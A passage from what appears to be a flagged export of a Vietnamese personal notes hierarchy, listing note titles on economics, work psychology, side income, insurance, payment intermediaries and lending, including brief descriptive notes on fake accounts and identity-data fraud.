động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Người Hy Lạp cổ duy trì chế độ nô lệ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Người Hy Lạp cổ không tự hào về việc mình có việc làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Những người không cùng cộng đồng kinh tế thì đổi chác. Những người sống trong cùng một cộng đồng thì nhận nợ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Nợ đã hiện hữu từ trước khi con người phát minh ra tiền bạc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Thời nông nghiệp, người giàu là người có nhiều ruộng đất. Thời công nghiệp, người giàu là người có nhiều nhà máy" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Thời WW2 Thuỵ Sỹ trung lập được vì đó là nơi tích luỹ vàng của giới tài phiệt" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Trong một hợp đồng, không phải cái gì cũng mang tính chất hợp đồng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Trong tiếng Anh, nghĩa gốc của amateur (nghiệp dư) là những người làm vì đam mê, chứ không phải là trình độ còn non" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Để xác định xem cái gì nên và không nên được mua bằng tiền, cần phải xác định được những giá trị nào chi phối các lĩnh vực khác nhau trong đời sống cá nhân và xã hội" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Chúng ta đi tìm hạnh phúc trên những máy chạy bộ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Game hoá", + "Chuỗi kỹ năng mô tả những khoảnh khắc ý nghĩa xảy ra trong quá trình chơi trò chơi, chứ không chỉ là những cơ chế đơn thuần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Game hoá", + "Chơi là sự thử nghiệm các kỹ năng mới học trong những môi trường mới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Game hoá", + "Những game có yếu tố bản đồ mới là những game tạo thành một cộng đồng nhiều ý tưởng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Game hoá", + "Những thứ lặp đi lặp lại có thể game hoá được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Game hoá", + "Đa số các dự án game hoá chỉ tập trung vào cạnh tranh thi đua, chứ không tập trung vào bản đồ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Người khác sẽ tham gia giúp đỡ khi họ thấy việc mình làm gần thoả mãn nhu cầu của họ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Phản hồi và sự giúp đỡ trả lại là những thứ xa xỉ với người được giúp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Sau khi nhu cầu được giải quyết xong ta sẽ nghĩ ngay tới việc giải quyết vấn đề tiếp theo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Sự giúp đỡ người khác làm con người cảm thấy cuộc sống có ý nghĩa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Sự hợp tác xã hội của ta hướng đến việc chia việc để cùng tạo ra sản phẩm chung, chứ không phải ở việc giúp đỡ qua lại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Sự tập trung đòi hỏi người khác phải lo cho những nhu cầu khác của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Trong quá trình tập trung, sự chăm lo của người khác với những nhu cầu khác của mình sẽ trở nên vô hình và cần trở nên vô hình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Giúp đỡ nhau", + "Việc giúp đỡ người đã giúp mình không đủ khẩn cấp hoặc nhiều cảm hứng bằng việc giải quyết vấn đề tiếp theo, hoặc đủ cảm hứng bằng việc cải tiến giải pháp hiện có" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Con người chuyển từ kỹ năng này sang kỹ năng khác ngay cả khi họ chỉ có một khái niệm mơ hồ về đích đến cuối cùng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Con người phản ứng mãnh liệt nhất khi bị đụng đến điểm đau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Con người sẽ theo đuổi kỹ năng mới với giá trị tiềm năng trong phạm vi dự đoán" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Dopamine is released in anticipation of a reward" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Một tổ chức đáng làm tạo ra được động lực nội sinh ở nhân viên" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Những nhiệm vụ thách thức làm nhiều người thấy thú vị hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Những thứ khẩn cấp thường không phải là những thứ thú vị" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Phần thưởng ngoại sinh làm tăng sự tập trung vào đích đến và giảm sự quan sát tới những thứ khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Sự cống hiến là một động lực nội sinh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Sự hứng thú tạo ra sự tập trung" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Thứ muốn làm bây giờ phụ thuộc vào cái mình đang nghĩ đến" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Việc nghĩ ra ý tưởng tốt hơn làm ta muốn theo đuổi nó hơn là làm tiếp thứ hiện tại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "Để tạo ra sự thú vị cần sự bất ngờ. Để tạo nên chuyên gia cần môi trường ổn định" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Kỹ năng, động lực", + "❓Tại sao một công việc có ý nghĩa là không đủ để một người quyết định sẽ làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Môi trường làm việc", + "Môi trường chuyên nghiệp tạo cảm giác tội lỗi khi thư giãn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Môi trường làm việc", + "Sự chuyên nghiệp là việc ta tách bạch cuộc sống và công việc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Môi trường làm việc", + "Việc làm việc tại nhà sẽ cho nhiều khoảnh khắc loé sáng ý tưởng hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Môi trường làm việc", + "Việc thay đổi mối quan hệ từ người làm chủ – nhân viên sang nhà đầu tư – người sáng lập phù hợp hơn với những công việc đòi hỏi sự sáng tạo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Môi trường làm việc", + "❓Tại sao tiền lại liên quan đến hệ thống cấp bậc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Thang đo năng lực dựa trên việc có thể đưa ra phân tích và trực giác đúng hay không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tiền là cách để biến việc đáp ứng nhu cầu của người khác thành vấn đề cần giải quyết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Khi làm xong một việc hiệu quả hơn, ít khi nào ta dùng thời gian rảnh để chơi, mà sẽ kiếm thêm việc để làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Những app quản lý công việc mang trong mình những giá trị văn hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Những công việc chưa hoàn thành sẽ ám ảnh ta (hiệu ứng Zeigarnik)" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Những tác giả của những app quản lý công việc cũng cảm thấy app của họ không thể giúp quản lý công việc một cách hiệu quả được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Nỗi ám ảnh với sự hiệu quả có thể đến từ nỗi sợ chết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Tối ưu hoá", + "Sự chuyên môn hoá khiến ta không được tự đáp ứng nhu cầu của mình mà phải đáp ứng nhu cầu người khác để họ đáp ứng nhu cầu của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Tâm lý học quản lý và lao động", + "Về mặt nhận thức, con người tương lai của chính mình không liên quan gì đến mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Các trang freelance toàn agency làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Mở tiệm", + "Mở quán mà dưới 100 khách một ngày là dẹp tiệm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Buff like shopee phải có bình luận, hình ảnh với công là 5k" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Giá tài khoản ngân hàng được tạo từ thông tin đánh cắp được bán tuỳ vào mức độ quét" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Kiếm tiền trực tuyến (MMO)", + "Airdrop là việc nền tảng cho tiền để khuyến khích người dùng sử dụng và giới thiệu sản phẩm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Kiếm tiền trực tuyến (MMO)", + "Content farm dùng để tăng SEO" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Kiếm tiền trực tuyến (MMO)", + "Dùng facebook của mình đăng kí hack like thì facebook của bạn sẽ được nhiều người like và ngược lại facebook của bạn cũng sẽ đi like facebook của người khác" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Kiếm tiền trực tuyến (MMO)" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Kiếm tiền trực tuyến (MMO)", + "Phone farm dùng để tăng tương tác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Kiếm tiền trực tuyến (MMO)", + "Via là tài khoản đã được xác thực" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Những bên cho vay lãi quá rẻ thực ra là để mình chịu làm kyc để người khác tạo tài khoản ảo bằng tên của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Thông tin bán được sẽ được dùng để tạo tài khoản ngân hàng ảo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Tiệm cầm đồ chỉ quan tâm cái căn cước là chính, chứ chẳng quan tâm mấy tới món đồ mình đem cầm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tài khoản ảo, mua bán thông tin cá nhân", + "Tài khoản ngân hàng ảo dùng được vài tiếng là vì kyc bằng AI" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tạo dòng tiền", + "Cái cần không phải là có tiền, mà là có dòng tiền" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tạo dòng tiền", + "Dòng tiền là bỏ ít công nhất có thể, thu lại đều đặn nhất có thể" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Tạo dòng tiền", + "Thu nhập thụ động là biết chắc chắn ngày nào mình nhận tiền với bao nhiêu tiền. Dòng tiền là không đảm bảo ngày nào tiền đi, ngày nào tiền về và bao nhiêu tiền" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Đặc trưng của các dự án B2B là phải giao thiệp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kiếm tiền", + "Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Bảo hiểm bắt buộc nhằm để bảo vệ lợi ích công cộng, môi trường, an toàn xã hội" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Chỉ có người thân mới được mua bảo hiểm cho nhau để tránh trường hợp trục lợi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Các loại hình bảo hiểm nhân thọ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Công ty, đại lý, hợp đồng", + "Chính phủ thống nhất về quản lý nhà nước về kinh doanh bảo hiểm, và quy định về bảo hiểm bắt buộc. Bộ tài chính quản lý, giám sát, báo cáo về kinh doanh bảo hiểm, và quy định về mức hoa hồng tối đa của công ty" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Công ty, đại lý, hợp đồng", + "Hình thức công ty" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Công ty, đại lý, hợp đồng", + "Hình thức hợp đồng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Công ty, đại lý, hợp đồng", + "Người có quyền định đoạt hợp đồng không phải là người được bảo hiểm, mà là bên mua bảo hiểm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Công ty, đại lý, hợp đồng", + "Văn phòng đại diện không được phép kinh doanh, nhưng công ty mẹ ở nước ngoài vẫn bán được phi nhân thọ. Với nhân thọ thì phải lập chi nhánh ở VN để hiểu được tính chất con người ở đây" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Công ty, đại lý, hợp đồng", + "Đại lý không liên quan gì đến hợp đồng, vì đó là giao kết giữa công ty và khách hàng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Công ty, đại lý, hợp đồng", + "Đại lý là đại diện của công ty và chỉ được làm một công ty. Môi giới là đại diện của bên mua và làm cho nhiều công ty khác nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Luật nền là cơ sở xây dựng luật chuyên ngành." +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Nguyên tắc hoạt động", + "Bảo hiểm nhân thọ hoạt động bằng việc phân tán rủi ro" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Nguyên tắc hoạt động", + "Bồi thường là trả tiền trên hoá đơn thực tế. Khoán là do người mua tự nhận định giá của mạng của mình ngay từ đầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Nguyên tắc hoạt động", + "Con người, tài sản và trách nhiệm dân sự là những đối tượng bảo hiểm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Nguyên tắc hoạt động", + "Các các nguyên tắc hoạt động" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Nguyên tắc hoạt động", + "Hợp đồng bảo hiểm phi nhân thọ hoặc sức khoẻ chỉ kéo dài tối đa 1 năm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Nguyên tắc hoạt động", + "Thời gian chờ là để tránh trục lợi bảo hiểm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Nguyên tắc hoạt động", + "Để một rủi ro được bảo hiểm, nó cần ngẫu nhiên, định lượng bằng tiền được và có số lớn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Phí và quỹ", + "Phí ban đầu dùng để trả cho việc bán hàng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Phí và quỹ", + "Quỹ liên kết chung là tổng các giá trị tài khoản của tất cả người tham gia" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Phí và quỹ", + "Tiền bảo hiểm được trả từ quỹ dự phòng rủi ro" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Phí và quỹ", + "Tiền từ người mua hợp đồng được đưa và quỹ dự trù tài chính và quỹ dự trù rủi ro" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Bảo hiểm", + "Phí và quỹ", + "Vốn pháp định là do pháp luật quy định, vốn điều lệ là do thành viên góp vào" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Các công ty tài chính đa phần đều thiên về lương khoán" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Khác biệt giữa nhân viên, đại lý, cộng tác viên" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Dùng loa thông báo sẽ đỡ phải kiểm tra xem tiền khách chuyển vào có tới được chưa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "GMV là tổng số tiền cửa hàng bán được trong tháng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Lợi ích, động cơ của các bên", + "ASM", + "ASM không có lợi ích gì trong việc phát hiện nhân viên có chạy ảo hay không" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Lợi ích, động cơ của các bên", + "ASM" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Lợi ích, động cơ của các bên", + "ASM", + "KPI của ASM là trung bình cộng KPI của nhóm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Lợi ích, động cơ của các bên", + "ASM", + "Việc giám sát không trực tiếp đem lại KPI cho ASM" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Lợi ích, động cơ của các bên", + "Công ty không quan tâm dữ liệu cửa hàng do nhân viên gửi về có bị trùng lặp hay không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Lợi ích, động cơ của các bên", + "RSM và nhà đầu tư", + "Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Lợi ích, động cơ của các bên", + "RSM và nhà đầu tư", + "RSM chỉ gây áp lực mồm cho ASM về việc ngăn nhân viên chạy ảo, chứ không gây áp lực qua KPI" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Lợi ích, động cơ của các bên", + "RSM và nhà đầu tư" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Một giao dịch khi quẹt qua trung gian thanh toán sẽ trở thành một giao dịch mua hàng sạch trong mắt ngân hàng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "QR thì thu ngân dùng là chính. SPOS chủ dùng là chính" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Sự khác biệt giữa các công ty trung gian thanh toán", + "90% người bán hàng ở Momo là cộng tác viên, ko phải nhân viên" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Sự khác biệt giữa các công ty trung gian thanh toán", + "Smartpay", + "Máy POS của Smartpay quẹt mỗi tháng hơn 30tr thì không mất phí" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Sự khác biệt giữa các công ty trung gian thanh toán", + "Smartpay", + "Smartpay chỉ quan tâm điểm mở mới, không áp GMV hoặc giao dịch" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Sự khác biệt giữa các công ty trung gian thanh toán", + "Smartpay", + "SmartPay làm nhiều lĩnh vực" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Sự khác biệt giữa các công ty trung gian thanh toán" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Sự khác biệt giữa các công ty trung gian thanh toán", + "VNPAY", + "Untitled" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Sự khác biệt giữa các công ty trung gian thanh toán", + "VNPAY", + "VNPAY dùng GMV và active để hạn chế chạy ảo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Sự khác biệt giữa các công ty trung gian thanh toán", + "VNPAY", + "VNPAY tập trung vào những cửa hàng lớn đủ để có nhu cầu dùng máy POS" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Trung gian thanh toán", + "Trả tiền bằng mã QR có lợi nếu cần bán tốc độ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Tỉ lệ sử dụng tiền mặt ở VN khoảng 12%" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Cho mượn theo nhóm đảm bảo không bị quịt hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Chỉ có người thân được bảo lãnh, chứ bạn bè thì không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay có điểm tín dụng", + "Bên cho vay sẽ có bảo hiểm cho vay" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay có điểm tín dụng", + "Cho vay ngang hàng kết nối trực tiếp người đi vay với người cho vay mà không thông qua các tổ chức trung gian tài chính" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay có điểm tín dụng", + "Các tài sản hay bảo hiểm chỉ là phụ thêm để tăng khả năng được duyệt, chứ hạn mức tiền vay thì đã được cố định sẵn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay có điểm tín dụng", + "Muốn trả nợ trước hạn cũng phải mất phí" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay có điểm tín dụng", + "Rất nhiều các công ty cho vay lấy dữ liệu từ Viettel" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay có điểm tín dụng", + "Thẻ tín dụng yêu cầu phải có thu nhập. Mua trước trả sau thì không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ngành tài chính", + "Vay tiền", + "Dịch vụ cho vay khác", + "Vay có điểm tín dụng", + "Việc tạo tài khoản mới ở các app cho vay tiền thực ra không quan trọng, 